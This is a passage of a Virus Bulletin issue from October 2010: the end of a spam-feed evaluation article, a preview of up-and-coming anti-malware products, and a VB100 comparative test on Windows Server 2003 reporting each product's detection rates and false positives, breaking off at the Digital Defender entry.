An important metric regarding a spam feed is the quantity of information it contains, which is not always proportional to the number of messages within the feed in a given period of time. We focused on the most important subset of a spam feed – the uncaught spam messages (or false negatives) taken from two feeds we use: our proprietary one and a benchmark feed used throughout the industry. A total of 21,648 spam emails came through our servers and eluded our filters during the experiment, 70.2% of which came from the proprietary feed.

To further compare the two feeds we used a clustering algorithm to divide the message pool into clusters of similar messages, each corresponding to a spam campaign. A total of 3,254 clusters were obtained in the experiment, which were then divided into two sets. Each set is comprised of clusters where the majority of the messages came from a given feed. From each set of clusters we further chose subsets that correspond to clusters that contain almost no messages (maximum 10%) from the competing feed which we call ‘almost exclusive campaigns’. From these we selected the campaigns that only contained messages from one feed – ‘exclusive campaigns’. The results are shown in Figure 3.

Figure 2. Distribution of false negatives over feeds.

The information above helps in determining whether a given corpus or feed could improve an anti-spam product’s accuracy. For instance, just because roughly 28% of the false negatives belonged to the benchmark test does not mean that adding that feed will improve the accuracy with a similar percentage. It is more likely that the improvement would be close to 18% – the percentage of campaigns where said feed holds the majority. However, if the filters have a steep learning curve then the detection bonus would appear only for campaigns where the overwhelming majority of the messages are found only in that feed – which is close to 15%. That detection bonus could drop half a per cent further if the spam campaigns are not extremely varied and a filter would only need a single representative message to train on in order to detect the entire campaign.

Conclusion

We have described how we create and enhance a spam feed, how we eliminate known types of pollution and how we evaluate a new feed’s contribution. We believe this could be a step towards a greater integration of different anti-spam solutions. None of us can filter spam we do not receive and it would be in everyone’s interest to create a mechanism where each vendor would contribute an equal share to create a common spam pool.

Chapter 7. Review feature

Things to come

John Hawes

Virus Bulletin
UK

Editor

Helen Martin

Copyright © 2010 Virus Bulletin

2010-10-01

Abstract

New anti-malware companies and products seem to be springing up with increasing frequency at the moment, many reworking existing detection engines into new forms, adding new functions, as well as several that are working on their own detection technology, aiming to take on the entrenched big names at their own game. John Hawes take a quick look at a few of the up-and-coming products which he expects to see taking part in the VB100 comparatives in the near future.

Table of Contents

Antiy
BluePex

Bsecure

MKS

NANO

Optenet

ParetoLogic

Security Stronghold

ZenOK

And there’s more...

In recent months we have seen a remarkable increase in the numbers of products taking part in our comparative tests – with the record set at 60 in the XP test in April (see VB, April 2010, p.23), and the recent Vista test not far behind with 54 entries (see VB, August 2010, p.21). Altogether our summary chart showing the results of the last five tests has 68 different product entries. Our readers may be forgiven for suffering a little product fatigue – something with which the lab team is all too familiar. It may also seem reasonable to assume that the limit has been reached, that the market for security products is saturated and can take no more. Yet somehow new companies and products continue to emerge, many reworking existing detection engines into new forms, adding new functions, but also several that are working on their own detection technology, aiming to take on the entrenched big names at their own game.

In this article, we’ll take a quick look at a few of the up-and-coming products which we expect to see taking part in our comparatives in the near future. I should point out that the selection criteria for this list are rather ad hoc, and it represents no judgement on those products not yet listed; we have simply picked a few of the likely candidates from a much longer list, all of which have been suggested by their developers, or in some cases by their users, as potential VB100 participants.

Antiy

Hailing from China, Antiy is a well-established firm set up in 2000. The company’s main website is at www.antiy.com, with a secondary site in English at www.antiy.net, mainly promoting its detection engine for integration in other projects, but also covering a large honeypot system which the firm operates in collaboration with a number of universities.

The company’s main desktop product has the unusual but somehow apposite name of Ghostbusters. We have had a few chances to play with it in recent months, and have observed a steady improvement in solidity and performance. The latest version, which we tried in mid-August, installs simply and smoothly, although it seems to have some issues with the UAC features in Windows Vista. It also still has a few stability issues when faced with some of the extreme stress testing we put products through in the lab, and a blue screen event was triggered while scanning a very large set of malicious items. Detection seems to be growing steadily over time, but still needs a little work to reach the required standard for VB100 certification – however, given its rate of growth, we can expect to see Antiy entering and doing well in our comparatives in the next year or so.

BluePex

BluePex is the first solution to come to our attention from the malware hotspot that is Brazil. Its developers have already expressed interest in taking part in our comparatives and we have begun working with them on fine-tuning some of the product’s features to enable us to test it fully – not least in the area of logging. The company’s website (www.bluepex.com.br) tells us it has been around for at least 12 years, and offers a range of solutions including a firewall, VPN client, IM filtering and a virtual appliance. We have mainly been looking at the desktop product, which is only available in Portuguese at the moment, although an English translation will apparently be available soon.

The set-up process is pretty simple, although updating takes rather a long time from where our labs are based. The main interface combines a simple, easy-to-navigate design with fairly attractive but unflashy styling. Even with our limited understanding of the language we had no problems operating the product, which includes a firewall as well as the anti-malware component, and also has a gaming mode for minimal interruption of gamers. It seems to run very stably and scanning is remarkably fast; on-access protection seems to be on-write only (although it is possible that we missed an option in the GUI), and detection seems fairly decent in most areas. A little more work may be needed to get it up to the required standard for VB100 certification, but not much, and we expect to see BluePex included in a comparative very soon.

Bsecure

Bsecure is a US-based company, whose website, www.bsecure.com, promises ‘ultimate online family protection’. The company’s main focus, as you may have guessed from the strapline, is the filtering of online content to protect young, impressionable surfers, but the company also bundles anti-malware protection – provided by the McAfee engine – with a version of its product.

Once the small 2.8MB set-up file for the CloudCare product is downloaded (which was no mean feat, as we had some trouble getting at it with several browsers under Windows, and in the end resorted to Linux to fetch it down), the product is set up and ready to go almost instantly, which came as something of a surprise. Most of the control system appears to be online, with desktop shortcuts to the product opening the login page of the company site in a browser. From here, detailed controls of Internet filtering are available, along with controls for the anti-malware component. On-access scanning, which installed and began operation almost unnoticed, is provided on-write only to prevent the writing of malicious files to disk, but a thorough set of on-demand scanning is also offered, including scheduled scans.

With the McAfee engine at the heart of the product the product has no difficulty in covering our test sets, but we may need to work further with the company to enable us to complete some of the required tests without using the online control system – either way, we expect to see Bsecure’s CloudCare achieving VB100 status pretty soon.

MKS

Poland’s MKS_vir is another name that has been around for some time without making an appearance in the VB100 tests, and another about which we receive frequent queries. Having been in on-and-off contact with the developers for a while, we now have high hopes of seeing them making their debut very soon.

We looked at version 9 of the product, but a brand new version 10 is due out very soon, and it seems likely that it will be this that will be MKS’s first VB100 comparative entry. As far as version 9 goes, it seems to be well designed, with a nice touch of humour in the cartoon worm that adorns the main interface. We had a little confusion during the installation process when, despite having chosen English at the start of the install, the interface opened up in Polish. This was easily remedied however, and with ample controls on offer we had no problems running through a basic set of tests. Detection rates seemed pretty decent, and stability seemed fine too, with an excellent showing in our expanded clean sets.

With no issues from our end, MKS_vir is another which we hope to see in one of the next few comparative reviews.

NANO

Based in the Russian town of Bryansk, NANO is one of the youngest firms on our list, set up only last year, although the team behind it have apparently been working on the core technology of the solution for considerably longer. We have been monitoring the product for some time, and have been very impressed with the rapid curve of improvements we have observed.

The installer is slick and simple and brings up a very attractive, highly professional-looking interface. We found this very easy to navigate and a joy to work with, and it ran pretty stably through our basic tests. At one point we saw an error message claiming that some component had stopped working, but protection remained fully operational and scanning ran to completion, so it clearly managed to withstand the battering we put it through.

When we first looked at NANO some time ago there was clearly some work to do on detection rates, but the latest version put in a pretty impressive performance for such a young product; polymorphic viruses were particularly well covered, for which the developers deserve great credit. There will, of course, need to be further work, but at the rate at which it has been improving so far, we can expect a very creditable performance from NANO in a comparative review very soon indeed.

Optenet

Optenet boasts headquarters in Florida, Spain and Australia (although the product’s EULA defines the company as Spanish), and according to the pages at www.optenet.com, it has been in business for more than a decade. The firm produces a range of mainly enterprise-level solutions, with mail and web filtering offered as both software and hardware solutions. The company’s desktop product is a pretty complete suite comprising all the standard firewall and anti-malware components, on top of a particularly well-designed and comprehensive-looking set of parental controls. An excellent granularity of filtering is offered here, by type, content and categories, as well as time slot controls, and a lockdown mode if multiple attempts are made to access banned resources.

The core of the malware protection is provided by the Kaspersky engine, and it seems to be well integrated into the product, providing the superb levels of detection we have come to expect from it. The serious and business-like interface provides excellent configuration in this area as well, and we found nothing to complain about in any of the basic tests we put it through. The developers have only to make the final decision to submit the product to be included in a VB100 comparative and doubtless it will do very well – we look forward to seeing an entry from Optenet very soon.

ParetoLogic

We have been aware of ParetoLogic for some time, and the company has previously been a sponsor of the annual VB conference, but we have had little opportunity to look closely at its solutions. Best known to us for its activities in the anti-spyware field, like many operating in that area the company also produces a full range of system optimization and recovery tools. The company is based on Vancouver Island in Canada, and has been in business for five years; its staff are very active in blogging and community work.

The company’s full anti-malware product is known as Anti-Virus PLUS, and although we only had time for the most cursory look over it, we observed a very slick and professional design ethos throughout. The installation process is simple and fast, and the GUI is attractive and glossy, with simple-to-access controls. Based on the filenames in the installed content and on some of the detection results we surmised that it includes a third-party engine, and from initial testing results we observed some pretty strong detection rates. More detail will have to wait until we see the product entered in a full comparative, which we hope to be able to persuade the developers to do in the very near future.

Security Stronghold

Founded in 2003 and operating from offices in the US and the Russian Federation, Security Stronghold is working on yet another all-new detection engine, and initial results look fairly promising. The company’s tagline is ‘security made easy’, and set-up and use is indeed fairly painless, with a simple, pastel-shaded interface which seems to provide all the required controls. Several runs through some basic detection tests have shown steady improvement in coverage, and in the main, stability seems fairly good, although we have had a few problems with the on-access component on some platforms.

The developers seem very keen for the product to be included in a VB100 comparative, and we hope to be able to add it to the line-up for one of the next few tests; given the steady rate of improvements, we can expect some good results pretty soon.

ZenOK

Last up in this little run-down of up-and-comers, ZenOK is one of the more unusual products we’ve seen in a while. Based on the BitDefender engine, the product aims for minimal system impact, and achieves this by offering on-write-only real-time protection, and by the possibly unique approach of running a continuous, low-priority on-demand scan covering the entire system. This can be disabled, or ‘snoozed’ as the GUI puts it, but otherwise it trundles away happily, slowly looking through the file system for nasties without making a serious dent on the processor or memory. Just how useful this is remains to be seen, but it is certainly an innovative approach.

The developers’ website at www.zenok.com gives away little about the firm, other than its charitable instincts – the product is given away free of charge, with the funding apparently coming from subscriptions to an online backup system controlled from the same, rather funky little interface. Initial tests showed up a few issues with testing – mainly with requirements specific to our tests such as detailed logging and the option to scan specific areas rather than whole file systems – but the developers have proven to be flexible and prompt in providing improvements, and look certain to enter a submission for a VB100 comparative very soon indeed. Given the engine underlying things, we expect to see a solid performance from this interesting product.

And there’s more...

Of course, as they say, you ain’t seen nothing yet. This handful of products may only represent the tip of the iceberg, with more and more new players appearing on the scene almost daily. As I was writing this, yet another new name cropped up, based on a particular licensed engine which is threatening to dominate our comparatives with the number of offshoots it has given rise to, and there are many more that didn’t quite make this list (mainly thanks to developers being slow to provide their latest copies for us to play with and not offering trial downloads).

On top of that, there are a number of well-known and even major names which are not currently participating in VB100 testing, whether due to company marketing policies or due to problems handling the full gamut of WildList samples or both. All in all, we estimate that over 100 different anti-malware solutions are available, with a huge variation in approach and additional components. We can only hope they don’t all choose to take part in a comparative at once – while we are keen to provide our readers with a comprehensive insight into the quality of products out there, trying to cover them all in a single month might just be too much for us.

Chapter 8. Comparative review

VB100 – Windows Server 2003

John Hawes

Virus Bulletin

Editor

Helen Martin

Copyright © 2010 Virus Bulletin

2010-10-01

Abstract

This month the VB test team put 38 products through their paces on Windows Server 2003. John Hawes has the details of the VB100 winners and those who failed to make the grade.

Table of Contents

Introduction
Platform and test sets

Results

Agnitum Outpost Security Suite Pro 7.0.3 (3392.517.1242)

AhnLab V3Net for Windows Servers 7.7.6.4

ArcaBit ArcaVir 2010 10.8.3204.0

Avast Software avast! 4.8.114

Avertive VirusTect 1.1.8

AVG Internet Security Business Edition 9.0.851

Avira AntiVir Server 10.00.06.00

BitDefender Security for File Servers 3.4.141

Bkis BKAV Gateway Scan 2910

Bullguard Antivirus 9.0

CA Integrated Threat Manager 8.1.66.0.0

Central Command Vexira Antivirus for Servers 6.3.14

Commtouch Command Anti-Malware 5.1.0

Comodo Antivirus 4.1.150349.920

Comodo Internet Security Premium 4.1.150349.920

Coranti 2010 1.000.0044

Defenx Security Suite Pro 2011 3387.517.1242

Digital Defender Server Antivirus 2.1.8

Emsisoft Anti-Malware 5.0.0.68

eScan Internet Security for Windows 11.0.1139.793

ESET NOD32 Antivirus 4 Business Edition 4.2.64.12

Fortinet FortiClient 4.1.3143

Frisk F-PROT Antivirus for Windows 6.0.9.4

F-Secure PSB Server Security 9.00 build 198

G DATA AntiVirus 10.5.132.28

Hauri ViRobot Windows Server 3.5

Kaspersky Anti-Virus 6 for Windows Servers 6.0.4.1424

Kaspersky Anti-Virus 8 for Windows Servers Enterprise Edition 8.0.0.495

Keniu Antivirus 1.0.0.1062

Kingsoft Internet Security 2010 2008.11.6.65

Microsoft Forefront Client Security 1.5.1981.0

Norman Endpoint Protection 7.20.0900

Qihoo 360 Antivirus 1.1.0.1312

Quick Heal AntiVirus 2011 Server Edition 11.00 (4.0.0.4)

Returnil System Safe 2011 3.2.10143.501-REL2

SGA SGA-VC 2.0

Sophos Endpoint Security and Control 9.5

VirusBuster for Windows Servers 6.3.14

Results tables

Conclusions

Technical details

Introduction

This month’s platform is Windows Server 2003, which is not the very latest server offering from Microsoft – indeed it has been succeeded by both Server 2008, which closely followed the release of Windows Vista, and the refreshed Server 2008 R2 (essentially Windows 7 Server edition). Nevertheless, the 2003 version, closest in spirit as it is to the evergreen Windows XP, remains widely used and relied on for its relative maturity, stability and dependable performance. The single permanent Windows system maintained in the VB test lab continues to run the 2003 edition, after a brief experiment with 2008 R2 was quickly aborted.

Products available to protect the platform are, of course, not limited to dedicated server editions, and this month’s comparative was open to all products expected to operate on the operating system. As usual, however, the server test was somewhat less oversubscribed than some of our recent desktop comparatives, with a much more modest, but still fairly broad field of entrants. Two of the largest providers are notable by their absence. With a large cluster of the notoriously tough W32/Virut strains included in our core WildList set this month, several of which were added into the most recent list issued just days before the deadline for our test sets (a week before the product deadline), several providers – especially those who have had issues with these families in the recent past – have chosen to give this difficult test a miss, judging discretion to be the better part of valour. However, many others bravely stood up to be counted, and are due a salute for their openness and consistency.

.

Platform and test sets

The test set deadline was 20 August, with products frozen on 25 August. The July 2010 WildList, released on 18 August, was thus used to define our core certification set. As mentioned above, one of the most notable points of the list was the inclusion of several new strains of polymorphic viruses, including some Sality variants as well as a handful of Viruts. Several Viruts remained on the list from previous tests, and with a minimum of 1,000 replicated samples representing each variant, the total size of the WildList set reached over 14,000 samples – something of a record, at least in recent years.

The clean set underwent its usual expansion, with large swathes of new items added to challenge the products. This being a server test, the new items focused on business software, with many packages from the business tools sections of popular download sites, as well as items from major software houses including IBM, Microsoft, Oracle and others. After pruning out some older and less relevant items, the set came in at over 450,000 individual files, and over 100GB of data. The speed measurement sets remained unchanged from several previous tests, but we hope to refresh them in the near future.

Elsewhere, as has become our standard practice, the sets of trojans and worms & bots were compiled mainly from items first appearing on our radar in the last few months, prior to the compilation of the RAP sets. These latter were built in the three weeks leading up to the product deadline and for a week afterwards, filtered to try to reflect the most common items observed around the world. At the final measure the RAP weekly sets averaged 18,000 samples per week, with the trojans set pushing 80,000 and the worms & bots set containing around 20,000 samples.

The chosen version of the platform was Microsoft’s Windows Server 2003, R2, with Service Pack 2 – we used the Enterprise Edition as it was the most complete. Preparation of the test systems was simple and straightforward thanks to the mature and familiar platform, with only the addition of some drivers necessary to enable networking hardware in our fairly new machines. Everything was in place well in advance, which proved to be a boon when a large number of products were submitted at the last minute with instructions requiring Internet access to activate or update (in clear breach of our deadline arrangements for such requirements). We have tried to be as accommodating as possible to ensure the best possible coverage of products, but may have to be stricter in future.

With a reasonably large and diverse set of products and some interesting additions to our test sets, we expected an eventful month.

Results

Agnitum Outpost Security Suite Pro 7.0.3 (3392.517.1242)

Agnitum’s Outpost suite has become a familiar and always welcome participant in our comparatives, and once again it put in a solid showing.

The set-up process is longer than some, thanks mainly to the suite’s multiple modules including the company’s well-respected firewall and also the need to install C++ components. Even with the required reboot, however, the whole process was completed in just a few minutes. The interface has had a minor overhaul recently, looking shiny and clean with an efficient and easy-to-navigate layout. A decent number of configuration options are available, although the anti-malware component is only given limited space among the other modules; scheduling is particularly simplistic. Nevertheless, all our tests ran through without problems, taking time but not too much effort – scanning speeds were fairly sluggish, with similarly heavy on-access overheads and fairly high use of system memory.

Detection rates were fairly decent, at least in the standard sets, with a RAP showing which left something to be desired. The WildList test set was handled without issues however, and the clean sets yielded nothing more than a warning of a file encrypted with the Themida packer. Agnitum gets this month’s comparative off to a good start by earning a VB100 award.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 64.99% 87.50% 89.49% 0

AhnLab V3Net for Windows Servers 7.7.6.4

AhnLab's server product seems like something of a step backwards after some recent improvements to the company’s desktop solution, continuing the rather anachronistic practice of separating the scanning for viruses and spyware. The installation process is uncomplicated, with no reboot needed. The interface is fairly clear and usable, though some settings are not where they might be expected to be. Running the tests proved reasonably straightforward, after some initial exploration, with good stability in the infected sets but some issues with logging – which seemed to lose track of what had been spotted when asked to work hard.

Scanning speeds were medium, with on-access lag times and RAM usage similarly middle-of-the-road, while CPU use while busy was somewhat higher than average. Detection rates were a little tricky to measure as the logging facility once again proved unreliable, dropping chunks of data off the end of lists after lengthy ‘refresh’ periods, but in the end we got some results thanks to multiple smaller scans. The results looked pretty reasonable in general, showing an alarming drop in detection of polymorphic items on access compared to on demand, and RAP scores dropped away fairly sharply after the earliest week. No problems emerged in the WildList set, but in the clean sets a couple of items were alerted on as containing malicious exploits. With the items originating from major software houses including Microsoft and IBM, which would make the issues rather serious in a business environment, there was no hesitation in denying AhnLab a VB100 award this month.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 59.88% 79.51% 99.60% 4

ArcaBit ArcaVir 2010 10.8.3204.0

ArcaVir remains unchanged since its last appearance in our comparatives, with the 2010 edition installing in a reasonably straightforward manner (albeit with some rather unsettling pauses during which no activity registered for some time). When the process finally started up and got through its simple steps, a reboot was needed. The interface is a little quirky but generally simple to operate, and it provides a basic level of configuration. Tests ran through without major issues. Scanning speeds and overheads did not challenge the leaders and CPU and RAM use was rather higher than many this month.

Detection rates were average in the main sets, a little underwhelming in the RAP sets, and a handful of fairly minor items in the clean sets were flagged. More seriously, however, one of the Virut variants in the WildList was not fully covered, and no VB100 award can be granted to ArcaBit this month.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 99.9997% 99.9997% 63.51% 68.87% 83.14% 0

Avast Software avast! 4.8.114

Once again Avast has made us wait to see its new server version, providing us with the aging 4.8 edition for what is almost certainly the final time. It still has the agility and toughness to outmatch many in this month’s field, with a standard set of install steps followed by a reboot to get going. The GUI is a little clunky and awkward, especially compared to the delights of the new desktop edition, but it offers a comprehensive level of controls and is reasonably clear and accessible. Running through the tests was rapid and painless, with splendid scanning speeds, minimal overheads and low resource consumption.

The infected sets were brushed aside effortlessly, dealt with far faster than any other product this month, with scores similarly excellent. The RAP sets were particularly well covered, albeit with a fair drop in the proactive week. The main sets and clean sets were handled splendidly, and a VB100 award is comfortably earned; we eagerly look forward to the upcoming new version.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 94.05% 90.12% 99.40% 0

Avertive VirusTect 1.1.8

A newcomer this month, Avertive is another member of a growing stable of solutions based on an SDK and interface overlaid on the VirusBuster engine. These are generally made available through ISPs. The surprise last-minute submission of this product meant an online update was required on the deadline day, but the set-up process was fairly painless and all done within under a minute with no reboot needed. The interface is simple and colourful – instantly familiar from several others we have seen recently and hence easy to navigate. Controls are provided in reasonable depth, and easy to find.

Scanning speeds were not the fastest, showing no sign of smart caching of previous results, but performance measures were decent and the infected sets were managed with good stability. Detection rates were not overwhelming, but not too bad, with a single item in the clean set alerted on as being packed with Themida but no false alarms. The WildList was covered comfortably on demand, but strangely on access a handful of items were missed. The result was so surprising we repeated the scan multiple times but got identical results, and as a result Avertive doesn’t quite earn its first VB100 award.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 96.61% 64.00% 87.05% 89.49% 0

AVG Internet Security Business Edition 9.0.851

AVG’s corporate version is barely different from the company’s standard desktop suite solution, with a simple installation process which offers an impressive range of languages including two varieties of Bahasa. The set-up completes without needing a reboot and provides a rather cluttered interface covering the multiple modules included. Controls are offered in splendid depth, perfectly suited to a business environment, and running our various jobs proved no problem for it.

Scanning speeds were rather sluggish, and resource usage fairly high, although on-access overheads were not too bad. Detection rates were solid though, with good levels across all sets, and with no problems in the core certification areas AVG easily earns another VB100 award.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 96.37% 88.49% 97.71% 0

Avira AntiVir Server 10.00.06.00

One of our most consistent participants and a reliable performer, Avira’s server edition is a proper business product but installs fairly rapidly, with most of the brief set-up time taken up by the installation of C++ components. The interface makes good use of the MMC system, with a logical and easily navigable layout, and provides a full set of configuration controls to satisfy the most demanding administrator.

Scanning speeds were good, with fairly low overheads and resource drain. The infected sets were handled fairly well too, with a couple of files apparently snagging the scanner and having to be removed to keeps things moving along, but some superb detection scores. The proactive week of the RAP sets was particularly well handled. With nothing much to complain about anywhere, Avira earns a VB100 award with minimum fuss.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 98.16% 99.02% 100.00% 0

BitDefender Security for File Servers 3.4.141

BitDefender’s server solution is another fully fledged business product, again using the MMC console for its control system but installing rapidly, with user interaction kept to a minimum and no need to reboot. The layout is good, making good use of the console base to provide complete and rational access to configuration and control. Scanning speeds were decent on the initial runs, and remarkable on repeat visits to known files, with excellent use of smart caching techniques. CPU use was very low, probably thanks to the same techniques, while memory use was perhaps a little above average.

In the infected sets, we had a few problems with scans apparently completing but presenting only a blank, unresponsive screen. Retrying the scans in smaller batches yielded better results, implying that the logging system is easily overwhelmed by large numbers of detections – admittedly not something that most real-world users are likely to encounter. Further investigation showed that in some cases we may have been a little hasty, giving up on the logging system after only half an hour or so, as some logs did later emerge after huge periods of unresponsiveness.

In the end, we managed to gather all the information needed, which showed solid scores in the infected sets and no problems in the clean sets; BitDefender thus earns a VB100 award, having put us through considerable pains to get there.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 95.42% 98.88% 100.00% 0

Bkis BKAV Gateway Scan 2910

Bkis has become a familiar name in our tests in the last few months, and has shown steady improvement throughout its run of appearances. The product itself has a remarkably rapid installation process, with only a single click and no reboot needed, and the interface provides a basic level of controls with very little fuss. No archive scanning is provided as far as we could tell, so the archive set was scanned very rapidly, but other sets were very slow to get through, with on-access overheads rather high to match. Memory consumption was fairly low however, although CPU use was high.

The infected sets were handled without problems, and showed some very impressive scores indeed – a huge step up from previous performances. The WildList presented no problems, and with the clean sets covered without issues Bkis is a worthy winner of a VB100 award.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 90.34% 93.93% 64.29% 0

Bullguard Antivirus 9.0

Bullguard’s solution is clearly designed more for the home-user market than for business, but nevertheless operates perfectly well on this month’s platform. It installs easily in very few steps and with no reboot needed, and offers online back-up as part of its line-up. The interface is bright and colourful, with large buttons which seem designed with the clumsiest of users in mind. Navigation is not completely straightforward, but after some poking around we found a basic set of options provided, and ran through the scans with no major problems other than the log access buttons being rather surprisingly buried at the bottom of the results lists.

Once the logs were found and converted into usable format, detection rates proved to be excellent, with a steady decline across the RAP sets but still a decent level even in the proactive week. With no issues in the WildList or clean sets, Bullguard easily earns a VB100 award this month.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 93.77% 98.30% 100.00% 0

CA Integrated Threat Manager 8.1.66.0.0

After many years of prayer, and even begging, it looks like this could at last be the final appearance of this version of CA’s product, with a much-heralded new edition on the horizon. We have described the lengthy install process, with its multiple EULAs and data-gathering screens, and the interface with its sluggish response times and lack of permanency of settings, more than enough times in these pages, but despite our complaints about the surface, underneath its ungainly covers CA’s scanning remains solid, reliable and quite remarkably rapid. To do this it uses a fair amount of RAM, but not too many processor cycles.

Detection rates were less than stellar, but not too disappointing, and the WildList presented no problems. With the clean set also handled nicely, CA earns another VB100 award – perhaps the last with this particular product version; we look forward greatly to the refreshed edition.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 44.57% 75.34% 92.34% 0

Central Command Vexira Antivirus for Servers 6.3.14

The server edition of Vexira has been seen many times in our tests, being very similar to that of another product.

It has a rather lengthy installation process in terms of stages, but it doesn’t take too long, as long as the ‘next’ button is clicked with alacrity; no reboot is required to complete. The console is not a great example of implementation of the MMC system, being inconsistent and awkward, but with some practice it can be used with reasonable comfort. Some of the controls – notably the options for archive handling on-access – remain seemingly non-functional after many reports in these pages. The scheduler seemed a little unreliable too, with jobs set to run during the night failing to run at all, leaving a message merely informing us that ‘the parameter was incorrect’ – another identical scan set manually ran without issues.

Scanning speeds, overheads and resource usage were all fairly mid-range. Detection rates were somewhat more difficult to measure as the logs appeared to be deleted after a seemingly random interval, despite the options being set to store an unlimited amount of data for 15 days. Some closer analysis seemed to suggest that the ‘unlimited’ setting did not, in fact, mean that at all, but we could not determine whether it did set an arbitrary limit or simply dropped results when it felt like it. In the end we set it to the highest available number of records (somewhat less than half the number of items in our sets) and carefully watched as it ran through the scan multiple times, saving the log at judicious moments. The results showed some reasonable scores in the main sets, dropping below half in the later weeks of the RAPs. No problems were encountered in the clean sets, other than a warning that a file packed with Themida might be considered suspicious, and Central Command thus just about earns another VB100 award.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 65.53% 87.79% 89.49% 0

Commtouch Command Anti-Malware 5.1.0

The company formerly known as Authentium was acquired by Commtouch in the weeks leading up to this month’s comparative. The product remains unchanged however, with its usual fast and simple set-up process and pared-down interface; even activation of the ‘advanced’ mode offers no more than the basic set of configuration options. Scanning speeds were decent, with fairly low overheads but notably high use of CPU cycles when heavily engaged in checking files.

Detection rates were not outstanding, with a rather surprising upturn in scores in the proactive week of the RAP sets. The core WildList set was handled ably on demand, but on access a pair of items seemed to go undetected. Consultation with the developers could not pin down the problem, which was not reproducible elsewhere, but multiple installs in our lab showed the same result. In the clean sets a single item was flagged with a generic malware alert; the item was the installer for a version of Mozilla Firefox. There was thus little choice but to deny Commtouch its first VB100 award under its new name, despite the false alarm having been fixed shortly after the products were submitted for testing.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 99.68% 64.68% 85.97% 99.86% 1

Comodo Antivirus 4.1.150349.920

At long last, after many years of topping the list of products most requested by our readers to appear in our tests, Comodo has decided to make its first appearance, with two products included in this month’s comparative. The first is a ‘plain’ AV solution, although it offers much more than the basics of static malware detection, with a range of extra layers including sandboxing of suspicious processes covered by the ‘Defense+’ modules. The installation process is fairly lengthy, enlivened by a lengthy list of available languages – many of the translations being provided by members of the company’s large and active community of fans. A reboot is needed to complete the set-up.

The interface is clean and slick, with some clear, if rather wordy details of current status on the main page and a good level of fine-tuning under the surface – all of which is laid out in a sensible and usable way. We quickly zipped through the tests, with some excellent running times for on-demand scans and low overheads for file accessing; memory usage was mid-range, while CPU use was a little higher than average.

Gathering detection data proved no problem, with good stability under the heavy bombardment of our infected test sets. Detection scores were pretty decent in the main sets, with a reasonable showing in the RAP sets too. The clean set was a little more tricky, with a couple of files somewhere in the batch of sample packages from Microsoft getting the scanner into some deep water, from which only a hard reboot could recover things in some cases. In the end full data was gathered, with no false positives in our extended sets – an impressive achievement for a first-timer. In the WildList set however, a handful of more recent items were not covered, including a single sample from a set of 2,500 of one of the latest Virut strains. Although this means that Comodo does not manage to earn a VB100 award, an otherwise excellent performance is a sign of good things to come.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 99.03% 99.03% 75.43% 86.01% 60.96% 0

Comodo Internet Security Premium 4.1.150349.920

The second of Comodo’s offerings this month provides the same impressive selection of defences, plus more besides, including the company’s highly regarded firewall. Despite the ‘premium’ of the title, the product appears to be available for free on the same terms as the standard product. The installation process is similarly straightforward, and the interface almost identical. Scanning speeds, overheads and resource usage were pretty closely matched too.

Detection rates were likewise hard to tell apart from the basic product, although a selection of items on the local system drive were alerted on as suspicious, all in the dll cache. The same set of WildList items were not covered, so no VB100 award can be granted this month, but the product looks very impressive and seems certain to put in some splendid performances in the near future.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 99.03% 99.03% 75.55% 86.06% 60.93% 0

Coranti 2010 1.000.0044

Coranti, we learned this month, is based in Japan, and its product seems to have dropped the earlier ‘Multicore’ name in favour of a simpler approach. The multi-engine technique remains unchanged, but the installer package provided for testing was far from the biggest this month, despite the multiple components, and the set-up process was fast and simple, with no need for a reboot to get protection in place.

The interface has an air of comprehensive solidity, without seeming overly grey and businesslike, and includes an excellent degree of configuration for the three main engines (provided by BitDefender, Frisk and Norman) plus the anti-spyware component from Lavasoft.

Operating and controlling the product is a pleasure, it being very responsive and simple to navigate, and while scanning times were far from the fastest they were not unbearably slow either. As might be anticipated, resource consumption is fairly high.

This heavy system impact is made up for by the excellent detection level, which proved splendid across the board, with one of the highest scores we’ve seen yet in the proactive week of the RAP sets. As sharp-eyed readers may have predicted of course, there is a flipside to the combination of multiple engines, and this month a single false positive already noted in another product using one of the engines included here denies Coranti a VB100 award, despite a perfect showing in the WildList set.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 97.36% 99.32% 100.00% 1

Defenx Security Suite Pro 2011 3387.517.1242

The Defenx solution has become a regular VB100 entrant in recent months, and has already established a solid record of good performances. The installation process requires little interaction but takes longer than many, mainly thanks to the need for some extra C++ components and some setting up of trusted packages already installed in the local system. Like its progenitor Agnitum, the interface has been somewhat refreshed lately, and looks glossy and slick without losing its air of seriousness. Minimal space is given to the anti-malware component amongst the other modules, but there are still ample controls for most standard desktop requirements, and testing proceeded at a good pace.

Scanning speeds showed some signs of judicious use of smart caching, although resource usage remained fairly high. Detection rates were solid, as in several other implementations of the same engine this month, with none of the flakiness or issues in the WildList set seen elsewhere. The clean set was once again enlivened only by a single suspicious alert on a Themida-packed file, and Defenx comfortably earns another VB100 award.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 64.37% 87.18% 89.49% 0

Digital Defender Server Antivirus 2.1.8

